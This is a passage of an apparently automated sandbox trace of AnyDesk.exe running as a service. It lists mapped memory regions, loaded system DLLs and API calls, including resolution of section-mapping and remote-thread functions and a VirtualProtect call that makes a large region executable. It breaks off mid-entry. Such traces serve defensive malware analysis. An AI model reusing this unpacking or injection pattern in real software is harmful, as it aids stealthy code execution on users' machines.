"c:\\windows\\syswow64\\clbcatq.dll") Region: id = 6576 start_va = 0x160000 end_va = 0x160fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000160000" filename = "" Region: id = 6577 start_va = 0x73110000 end_va = 0x73185fff monitored = 0 entry_point = 0x7311760e region_type = mapped_file name = "firewallapi.dll" filename = "\\Windows\\SysWOW64\\FirewallAPI.dll" (normalized: "c:\\windows\\syswow64\\firewallapi.dll") Region: id = 6578 start_va = 0x73100000 end_va = 0x73108fff monitored = 0 entry_point = 0x73101220 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 6579 start_va = 0x1d30000 end_va = 0x1ffefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 6580 start_va = 0x18e0000 end_va = 0x191ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000018e0000" filename = "" Region: id = 6581 start_va = 0x1930000 end_va = 0x193ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001930000" filename = "" Region: id = 6582 start_va = 0x1bb0000 end_va = 0x1beffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001bb0000" filename = "" Region: id = 6583 start_va = 0x2120000 end_va = 0x221ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002120000" filename = "" Region: id = 6584 start_va = 0x23b0000 end_va = 0x24affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023b0000" filename = "" Region: id = 6585 start_va = 0xfffaa000 end_va = 0xfffacfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000fffaa000" filename = "" Region: id = 6586 start_va = 0xfffad000 end_va = 0xfffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000fffad000" filename = "" Region: id = 6587 start_va = 0x2000000 end_va = 0x20fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002000000" filename = "" Region: id = 6588 start_va = 0x2230000 end_va = 0x226ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002230000" filename = "" Region: id = 6589 start_va = 0x24f0000 end_va = 0x25effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024f0000" filename = "" Region: id = 6590 start_va = 0xfffa7000 end_va = 0xfffa9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000fffa7000" filename = "" Region: id = 6591 start_va = 0x1880000 end_va = 0x18bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001880000" filename = "" Region: id = 6592 start_va = 0x2600000 end_va = 0x26fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002600000" filename = "" Region: id = 6593 start_va = 0x2850000 end_va = 0x294ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002850000" filename = "" Region: id = 6594 start_va = 0xfffa4000 end_va = 0xfffa6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000fffa4000" filename = "" Region: id = 6595 start_va = 0x170000 end_va = 0x175fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000170000" filename = "" Region: id = 6596 start_va = 0x2a80000 end_va = 0x2b7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002a80000" filename = "" Region: id = 6597 start_va = 0x2c50000 end_va = 0x2d4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002c50000" filename = "" Region: id = 6598 start_va = 0x2dc0000 end_va = 0x2ebffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002dc0000" filename = "" Region: id = 6599 start_va = 0x190000 end_va = 0x190fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 6600 start_va = 0x2270000 end_va = 0x236ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 6601 start_va = 0x1a0000 end_va = 0x1dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 6602 start_va = 0x2f80000 end_va = 0x307ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002f80000" filename = "" Region: id = 6603 start_va = 0x3180000 end_va = 0x327ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003180000" filename = "" Region: id = 6604 start_va = 0xfffa1000 end_va = 0xfffa3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000fffa1000" filename = "" Region: id = 6605 start_va = 0x32f0000 end_va = 0x33effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000032f0000" filename = "" Region: id = 6606 start_va = 0x730a0000 end_va = 0x730f9fff monitored = 0 entry_point = 0x730a1f35 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\SysWOW64\\netprofm.dll" (normalized: "c:\\windows\\syswow64\\netprofm.dll") Region: id = 6607 start_va = 0x73090000 end_va = 0x7309ffff monitored = 0 entry_point = 0x730938c1 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\SysWOW64\\nlaapi.dll" (normalized: "c:\\windows\\syswow64\\nlaapi.dll") Region: id = 6608 start_va = 0x33f0000 end_va = 0x354ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000033f0000" filename = "" Region: id = 6609 start_va = 0x2710000 end_va = 0x274ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002710000" filename = "" Region: id = 6610 start_va = 0x3570000 end_va = 0x366ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003570000" filename = "" Region: id = 6611 start_va = 0xfff9e000 end_va = 0xfffa0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000fff9e000" filename = "" Region: id = 6612 start_va = 0x73070000 end_va = 0x73086fff monitored = 0 entry_point = 0x73073573 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 6613 start_va = 0x3410000 end_va = 0x350ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003410000" filename = "" Region: id = 6614 start_va = 0x3540000 end_va = 0x354ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003540000" filename = "" Region: id = 6615 start_va = 0x1bf0000 end_va = 0x1c2bfff monitored = 0 entry_point = 0x1bf128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 6616 start_va = 0x73030000 end_va = 0x7306bfff monitored = 0 entry_point = 0x7303145d region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\SysWOW64\\mswsock.dll" (normalized: "c:\\windows\\syswow64\\mswsock.dll") Region: id = 6617 start_va = 0x1bf0000 end_va = 0x1c2bfff monitored = 0 entry_point = 0x1bf128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 6618 start_va = 0x1bf0000 end_va = 0x1c2bfff monitored = 0 entry_point = 0x1bf128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 6619 start_va = 0x1bf0000 end_va = 0x1c2bfff monitored = 0 entry_point = 0x1bf128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 6620 start_va = 0x1bf0000 end_va = 0x1c2bfff monitored = 0 entry_point = 0x1bf128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 6621 start_va = 0x72ff0000 end_va = 0x7302afff monitored = 0 entry_point = 0x72ff128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 6622 start_va = 0x3670000 end_va = 0x382ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003670000" filename = "" Region: id = 6623 start_va = 0x72fe0000 end_va = 0x72fe4fff monitored = 0 entry_point = 0x72fe15df region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\SysWOW64\\WSHTCPIP.DLL" (normalized: "c:\\windows\\syswow64\\wshtcpip.dll") Region: id = 6624 start_va = 0x2970000 end_va = 0x29affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002970000" filename = "" Region: id = 6625 start_va = 0x3690000 end_va = 0x378ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003690000" filename = "" Region: id = 6626 start_va = 0x37f0000 end_va = 0x382ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000037f0000" filename = "" Region: id = 6627 start_va = 0xfff9b000 end_va = 0xfff9dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000fff9b000" filename = "" Region: id = 6628 start_va = 0x72fd0000 end_va = 0x72fdcfff monitored = 0 entry_point = 0x72fd2012 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\SysWOW64\\dhcpcsvc6.dll" (normalized: "c:\\windows\\syswow64\\dhcpcsvc6.dll") Region: id = 6629 start_va = 0x1bf0000 end_va = 0x1c1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001bf0000" filename = "" Region: id = 6630 start_va = 0x72fc0000 end_va = 0x72fcffff monitored = 0 entry_point = 0x72fc1526 region_type = mapped_file name = "napinsp.dll" filename = "\\Windows\\SysWOW64\\NapiNSP.dll" (normalized: "c:\\windows\\syswow64\\napinsp.dll") Region: id = 6631 start_va = 0x72fb0000 end_va = 0x72fbdfff monitored = 0 entry_point = 0x72fb1235 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\SysWOW64\\RpcRtRemote.dll" (normalized: "c:\\windows\\syswow64\\rpcrtremote.dll") Region: id = 6632 start_va = 0x72f90000 end_va = 0x72fa1fff monitored = 0 entry_point = 0x72f918f2 region_type = mapped_file name = "pnrpnsp.dll" filename = "\\Windows\\SysWOW64\\pnrpnsp.dll" (normalized: "c:\\windows\\syswow64\\pnrpnsp.dll") Region: id = 6633 start_va = 0x72f40000 end_va = 0x72f83fff monitored = 0 entry_point = 0x72f563f9 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\SysWOW64\\dnsapi.dll" (normalized: "c:\\windows\\syswow64\\dnsapi.dll") Region: id = 6634 start_va = 0x3830000 end_va = 0x399ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003830000" filename = "" Region: id = 6635 start_va = 0x72f30000 end_va = 0x72f37fff monitored = 0 entry_point = 0x72f3131e region_type = mapped_file name = "winrnr.dll" filename = "\\Windows\\SysWOW64\\winrnr.dll" (normalized: "c:\\windows\\syswow64\\winrnr.dll") Region: id = 6636 start_va = 0x72ef0000 end_va = 0x72f27fff monitored = 0 entry_point = 0x72ef990e region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\SysWOW64\\FWPUCLNT.DLL" (normalized: "c:\\windows\\syswow64\\fwpuclnt.dll") Region: id = 6637 start_va = 0x39a0000 end_va = 0x3b0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000039a0000" filename = "" Region: id = 6638 start_va = 0x72ed0000 end_va = 0x72ee1fff monitored = 0 entry_point = 0x72ed3271 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\SysWOW64\\dhcpcsvc.dll" (normalized: "c:\\windows\\syswow64\\dhcpcsvc.dll") Region: id = 6639 start_va = 0x27b0000 end_va = 0x27effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000027b0000" filename = "" Region: id = 6640 start_va = 0x3ba0000 end_va = 0x3c9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003ba0000" filename = "" Region: id = 6641 start_va = 0xfff98000 end_va = 0xfff9afff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000fff98000" filename = "" Region: id = 6642 start_va = 0x2a10000 end_va = 0x2a4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002a10000" filename = "" Region: id = 6643 start_va = 0x3d70000 end_va = 0x3e6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003d70000" filename = "" Region: id = 6644 start_va = 0x72da0000 end_va = 0x72da5fff monitored = 0 entry_point = 0x72da1673 region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\SysWOW64\\wship6.dll" (normalized: "c:\\windows\\syswow64\\wship6.dll") Region: id = 6645 start_va = 0xfff95000 end_va = 0xfff97fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000fff95000" filename = "" Region: id = 6646 start_va = 0x2370000 end_va = 0x2393fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002370000" filename = "" Region: id = 6647 start_va = 0x72d90000 end_va = 0x72d95fff monitored = 0 entry_point = 0x72d914b2 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\SysWOW64\\rasadhlp.dll" (normalized: "c:\\windows\\syswow64\\rasadhlp.dll") Region: id = 6648 start_va = 0x72d40000 end_va = 0x72d89fff monitored = 0 entry_point = 0x72d41851 region_type = mapped_file name = "hnetcfg.dll" filename = "\\Windows\\SysWOW64\\hnetcfg.dll" (normalized: "c:\\windows\\syswow64\\hnetcfg.dll") Region: id = 6649 start_va = 0x72d20000 end_va = 0x72d33fff monitored = 0 entry_point = 0x72d21da9 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\SysWOW64\\atl.dll" (normalized: "c:\\windows\\syswow64\\atl.dll") Region: id = 6650 start_va = 0x72d10000 end_va = 0x72d19fff monitored = 0 entry_point = 0x72d14d20 region_type = mapped_file name = "slc.dll" filename = "\\Windows\\SysWOW64\\slc.dll" (normalized: "c:\\windows\\syswow64\\slc.dll") Region: id = 6651 start_va = 0x72cf0000 end_va = 0x72d05fff monitored = 0 entry_point = 0x72cf2061 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\SysWOW64\\gpapi.dll" (normalized: "c:\\windows\\syswow64\\gpapi.dll") Region: id = 6652 start_va = 0x72cd0000 end_va = 0x72ce6fff monitored = 0 entry_point = 0x72cd1c9d region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\SysWOW64\\userenv.dll" (normalized: "c:\\windows\\syswow64\\userenv.dll") Region: id = 6653 start_va = 0x2370000 end_va = 0x2393fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002370000" filename = "" Region: id = 6654 start_va = 0x2800000 end_va = 0x283ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002800000" filename = "" Region: id = 6655 start_va = 0x3df0000 end_va = 0x3eeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003df0000" filename = "" Region: id = 6656 start_va = 0x749c0000 end_va = 0x749c7fff monitored = 0 entry_point = 0x749c2ca6 region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\SysWOW64\\npmproxy.dll" (normalized: "c:\\windows\\syswow64\\npmproxy.dll") Thread: id = 559 os_tid = 0x520 [0277.023] LdrGetProcedureAddress (in: BaseAddress=0x76f80000, Name="LdrLoadDll", Ordinal=0x0, ProcedureAddress=0x131f9ec | out: ProcedureAddress=0x131f9ec*=0x76fbc43a) returned 0x0 [0277.023] LdrGetProcedureAddress (in: BaseAddress=0x76f80000, Name="LdrUnloadDll", Ordinal=0x0, ProcedureAddress=0x131f9f4 | out: ProcedureAddress=0x131f9f4*=0x76fc11d7) returned 0x0 [0277.023] LdrGetProcedureAddress (in: BaseAddress=0x76f80000, Name="NtQuerySystemInformation", Ordinal=0x0, ProcedureAddress=0x131f9f8 | out: ProcedureAddress=0x131f9f8*=0x76f9fda0) returned 0x0 [0277.023] LdrGetProcedureAddress (in: BaseAddress=0x76f80000, Name="NtCreateSection", Ordinal=0x0, ProcedureAddress=0x131f9fc | out: ProcedureAddress=0x131f9fc*=0x76f9ff94) returned 0x0 [0277.023] LdrGetProcedureAddress (in: BaseAddress=0x76f80000, Name="NtMapViewOfSection", Ordinal=0x0, ProcedureAddress=0x131fa00 | out: ProcedureAddress=0x131fa00*=0x76f9fc40) returned 0x0 [0277.023] LdrGetProcedureAddress (in: BaseAddress=0x76f80000, Name="NtClose", Ordinal=0x0, ProcedureAddress=0x131fa04 | out: ProcedureAddress=0x131fa04*=0x76f9f9d0) returned 0x0 [0277.023] LdrGetProcedureAddress (in: BaseAddress=0x76f80000, Name="NtUnmapViewOfSection", Ordinal=0x0, ProcedureAddress=0x131fa08 | out: ProcedureAddress=0x131fa08*=0x76f9fc70) returned 0x0 [0277.023] LdrGetProcedureAddress (in: BaseAddress=0x76f80000, Name="NtDuplicateObject", Ordinal=0x0, ProcedureAddress=0x131fa0c | out: ProcedureAddress=0x131fa0c*=0x76f9fe34) returned 0x0 [0277.023] LdrGetProcedureAddress (in: BaseAddress=0x76f80000, Name="NtTerminateThread", Ordinal=0x0, ProcedureAddress=0x131fa10 | out: ProcedureAddress=0x131fa10*=0x76fa0074) returned 0x0 [0277.023] LdrGetProcedureAddress (in: BaseAddress=0x76f80000, Name="NtProtectVirtualMemory", Ordinal=0x0, ProcedureAddress=0x131fa14 | out: ProcedureAddress=0x131fa14*=0x76fa0028) returned 0x0 [0277.024] LdrGetProcedureAddress (in: BaseAddress=0x76f80000, Name="RtlCreateUserThread", Ordinal=0x0, ProcedureAddress=0x131fa18 | out: ProcedureAddress=0x131fa18*=0x7702e5d1) returned 0x0 [0277.024] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="kernel32", BaseAddress=0x131fa4c | out: BaseAddress=0x131fa4c*=0x76a70000) returned 0x0 [0277.024] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="HeapAlloc", Ordinal=0x0, ProcedureAddress=0x131fa20 | out: ProcedureAddress=0x131fa20*=0x76fae026) returned 0x0 [0277.025] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="HeapReAlloc", Ordinal=0x0, ProcedureAddress=0x131fa24 | out: ProcedureAddress=0x131fa24*=0x76fc1f6e) returned 0x0 [0277.025] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="HeapFree", Ordinal=0x0, ProcedureAddress=0x131fa28 | out: ProcedureAddress=0x131fa28*=0x76a814a9) returned 0x0 [0277.025] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="GetProcessHeap", Ordinal=0x0, ProcedureAddress=0x131fa2c | out: ProcedureAddress=0x131fa2c*=0x76a814c9) returned 0x0 [0277.025] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="ExitProcess", Ordinal=0x0, ProcedureAddress=0x131fa30 | out: ProcedureAddress=0x131fa30*=0x76a879c8) returned 0x0 [0277.026] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="GetCommandLineA", Ordinal=0x0, ProcedureAddress=0x131fa34 | out: ProcedureAddress=0x131fa34*=0x76a85159) returned 0x0 [0277.026] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="VirtualProtect", Ordinal=0x0, ProcedureAddress=0x131fa38 | out: ProcedureAddress=0x131fa38*=0x76a84317) returned 0x0 [0277.026] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="GetModuleHandleW", Ordinal=0x0, ProcedureAddress=0x131fa3c | out: ProcedureAddress=0x131fa3c*=0x76a83460) returned 0x0 [0277.026] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="SetDefaultDllDirectories", Ordinal=0x0, ProcedureAddress=0x131fa40 | out: ProcedureAddress=0x131fa40*=0x7576208a) returned 0x0 [0277.026] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="SetSearchPathMode", Ordinal=0x0, ProcedureAddress=0x131fa44 | out: ProcedureAddress=0x131fa44*=0x76b0072b) returned 0x0 [0277.026] SetDefaultDllDirectories (DirectoryFlags=0x800) returned 1 [0277.031] SetSearchPathMode (Flags=0x8001) returned 1 [0277.032] GetModuleHandleW (lpModuleName=0x0) returned 0x1e0000 [0277.032] VirtualProtect (in: lpAddress=0x1e01f0, dwSize=0x28, flNewProtect=0x4, lpflOldProtect=0x131f9d0 | out: lpflOldProtect=0x131f9d0*=0x2) returned 1 [0278.060] VirtualProtect (in: lpAddress=0x1e01f0, dwSize=0x28, flNewProtect=0x2, lpflOldProtect=0x131f9d0 | out: lpflOldProtect=0x131f9d0*=0x4) returned 1 [0278.186] GetProcessHeap () returned 0x16c0000 [0278.186] RtlAllocateHeap (HeapHandle=0x16c0000, Flags=0x0, Size=0xbc5e00) returned 0x17c0020 [0278.188] GetProcessHeap () returned 0x16c0000 [0278.188] HeapFree (in: hHeap=0x16c0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x16c0000) returned 1 [0278.188] GetProcessHeap () returned 0x16c0000 [0278.188] RtlAllocateHeap (HeapHandle=0x16c0000, Flags=0x0, Size=0x3e6c) returned 0x16c3060 [0278.781] GetProcessHeap () returned 0x16c0000 [0278.782] HeapFree (in: hHeap=0x16c0000, dwFlags=0x0, lpMem=0x16c3060 | out: hHeap=0x16c0000) returned 1 [0278.796] VirtualProtect (in: lpAddress=0x1e4000, dwSize=0xbd5e00, flNewProtect=0x40, lpflOldProtect=0x131e8bc | out: lpflOldProtect=0x131e8bc*=0x8) returned 1 [0279.407] GetModuleHandleW (lpModuleName=0x0) returned 0x1e0000 [0279.407] GetModuleHandleW (lpModuleName=0x0) returned 0x1e0000 [0279.407] GetCommandLineA () returned="\"C:\\ProgramData\\AnyDesk\\AnyDesk.exe\" --service" [0279.408] GetProcessHeap () returned 0x16c0000 [0279.478] HeapFree (in: hHeap=0x16c0000, dwFlags=0x0, lpMem=0x17c0020 | out: hHeap=0x16c0000) returned 1 [0279.659] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="kernel32.dll", BaseAddress=0x131e764 | out: BaseAddress=0x131e764*=0x76a70000) returned 0x0 [0279.661] LdrGetProcedureAddress (in: BaseAddress=0x76a70000, Name="LoadLibraryA", Ordinal=0x0, ProcedureAddress=0x131e768 | out: ProcedureAddress=0x131e768*=0x76a8498f) returned 0x0 [0279.661] LoadLibraryA (lpLibFileName="WINMM.dll") returned 0x73660000 [0281.047] LdrGetProcedureAddress (in: BaseAddress=0x73660000, Name="mixerGetLineInfoW", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x736748d8) returned 0x0 [0281.047] LdrGetProcedureAddress (in: BaseAddress=0x73660000, Name="mixerClose", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x736738b0) returned 0x0 [0281.047] LdrGetProcedureAddress (in: BaseAddress=0x73660000, Name="mixerGetDevCapsW", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x736747c0) returned 0x0 [0281.047] LdrGetProcedureAddress (in: BaseAddress=0x73660000, Name="mixerOpen", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x736742cd) returned 0x0 [0281.047] LdrGetProcedureAddress (in: BaseAddress=0x73660000, Name="mixerGetLineControlsW", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x73674ac0) returned 0x0 [0281.047] LdrGetProcedureAddress (in: BaseAddress=0x73660000, Name="waveInGetNumDevs", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x73669025) returned 0x0 [0281.047] LdrGetProcedureAddress (in: BaseAddress=0x73660000, Name="mixerGetNumDevs", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x73673884) returned 0x0 [0281.048] LdrGetProcedureAddress (in: BaseAddress=0x73660000, Name="mixerSetControlDetails", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x73674c5d) returned 0x0 [0281.048] LdrGetProcedureAddress (in: BaseAddress=0x73660000, Name="timeBeginPeriod", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x73669ef7) returned 0x0 [0281.048] LdrGetProcedureAddress (in: BaseAddress=0x73660000, Name="timeEndPeriod", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x73669feb) returned 0x0 [0281.048] LdrGetProcedureAddress (in: BaseAddress=0x73660000, Name="mixerGetControlDetailsW", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x73674b87) returned 0x0 [0281.048] LdrGetProcedureAddress (in: BaseAddress=0x73660000, Name="timeSetEvent", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x7366a65c) returned 0x0 [0281.048] LdrGetProcedureAddress (in: BaseAddress=0x73660000, Name="timeKillEvent", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x7366a58c) returned 0x0 [0281.048] LoadLibraryA (lpLibFileName="SHLWAPI.dll") returned 0x75330000 [0281.204] LdrGetProcedureAddress (in: BaseAddress=0x75330000, Name=0x0, Ordinal=0xb0, ProcedureAddress=0x131e750 | out: ProcedureAddress=0x131e750*=0x75344266) returned 0x0 [0281.204] LdrGetProcedureAddress (in: BaseAddress=0x75330000, Name="PathIsUNCW", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x7534a197) returned 0x0 [0281.204] LdrGetProcedureAddress (in: BaseAddress=0x75330000, Name="PathCanonicalizeW", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x7533e3af) returned 0x0 [0281.204] LdrGetProcedureAddress (in: BaseAddress=0x75330000, Name="SHStrDupW", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x7534a0b7) returned 0x0 [0281.204] LdrGetProcedureAddress (in: BaseAddress=0x75330000, Name="SHCreateStreamOnFileEx", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x75342926) returned 0x0 [0281.204] LdrGetProcedureAddress (in: BaseAddress=0x75330000, Name="PathFileExistsW", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x753445bf) returned 0x0 [0281.205] LoadLibraryA (lpLibFileName="WS2_32.dll") returned 0x75260000 [0281.247] LdrGetProcedureAddress (in: BaseAddress=0x75260000, Name="WSAConnect", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x7526cc3f) returned 0x0 [0281.247] LdrGetProcedureAddress (in: BaseAddress=0x75260000, Name="WSAIoctl", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x75262fe7) returned 0x0 [0281.247] LdrGetProcedureAddress (in: BaseAddress=0x75260000, Name=0x0, Ordinal=0x5, ProcedureAddress=0x131e750 | out: ProcedureAddress=0x131e750*=0x75267147) returned 0x0 [0281.247] LdrGetProcedureAddress (in: BaseAddress=0x75260000, Name=0x0, Ordinal=0x34, ProcedureAddress=0x131e750 | out: ProcedureAddress=0x131e750*=0x75277673) returned 0x0 [0281.247] LdrGetProcedureAddress (in: BaseAddress=0x75260000, Name=0x0, Ordinal=0xc, ProcedureAddress=0x131e750 | out: ProcedureAddress=0x131e750*=0x7526b131) returned 0x0 [0281.247] LdrGetProcedureAddress (in: BaseAddress=0x75260000, Name=0x0, Ordinal=0x39, ProcedureAddress=0x131e750 | out: ProcedureAddress=0x131e750*=0x7526a05b) returned 0x0 [0281.247] LdrGetProcedureAddress (in: BaseAddress=0x75260000, Name=0x0, Ordinal=0x70, ProcedureAddress=0x131e750 | out: ProcedureAddress=0x131e750*=0x752637d9) returned 0x0 [0281.248] LdrGetProcedureAddress (in: BaseAddress=0x75260000, Name="WSASocketW", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x75263cd3) returned 0x0 [0281.248] LdrGetProcedureAddress (in: BaseAddress=0x75260000, Name="WSAEnumNetworkEvents", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x752631b1) returned 0x0 [0281.248] LdrGetProcedureAddress (in: BaseAddress=0x75260000, Name="WSAEventSelect", Ordinal=0x0, ProcedureAddress=0x131e760 | out: ProcedureAddress=0x131e760*=0x7526648f) returned 0x0 [0281.248] LdrGetProcedureAddress (in: BaseAddress=0x75260000, Name=0x0, Ordinal=0xf, ProcedureAddress=0x131e750 | out: ProcedureAddress=0x131e750*=0x75262d8b) returned 0x0 [0281.248] LdrGetProcedureAddress (in: BaseAddress=0x75260000, Name=0x0, Ordinal=0x15, ProcedureAddress=0x131e750 | out: ProcedureAddress=0x131e750*=0x752641b6) returned 0x0 [0281.248] LdrGetProcedureAddress (in: BaseAddress=0x75260000, Name=0x0, Ordinal=0x6, ProcedureAddress=0x131e750 | out: ProcedureAddress=0x131e750*=0x752630af) returned 0x0 [0281.248] LdrGetProcedureAddress (in: BaseAddress=0x75260000, Name=0x0, Ordinal=0x2, ProcedureAddress=0x131e750 | out: ProcedureAddress=0x131e750*=0x75264582) returned 0x0 [0281.248] LdrGetProcedureAddress (in: BaseAddress=0x75260000, Name=0x0, Ordinal=0x6f, ProcedureAddress=0x131e750 | out: 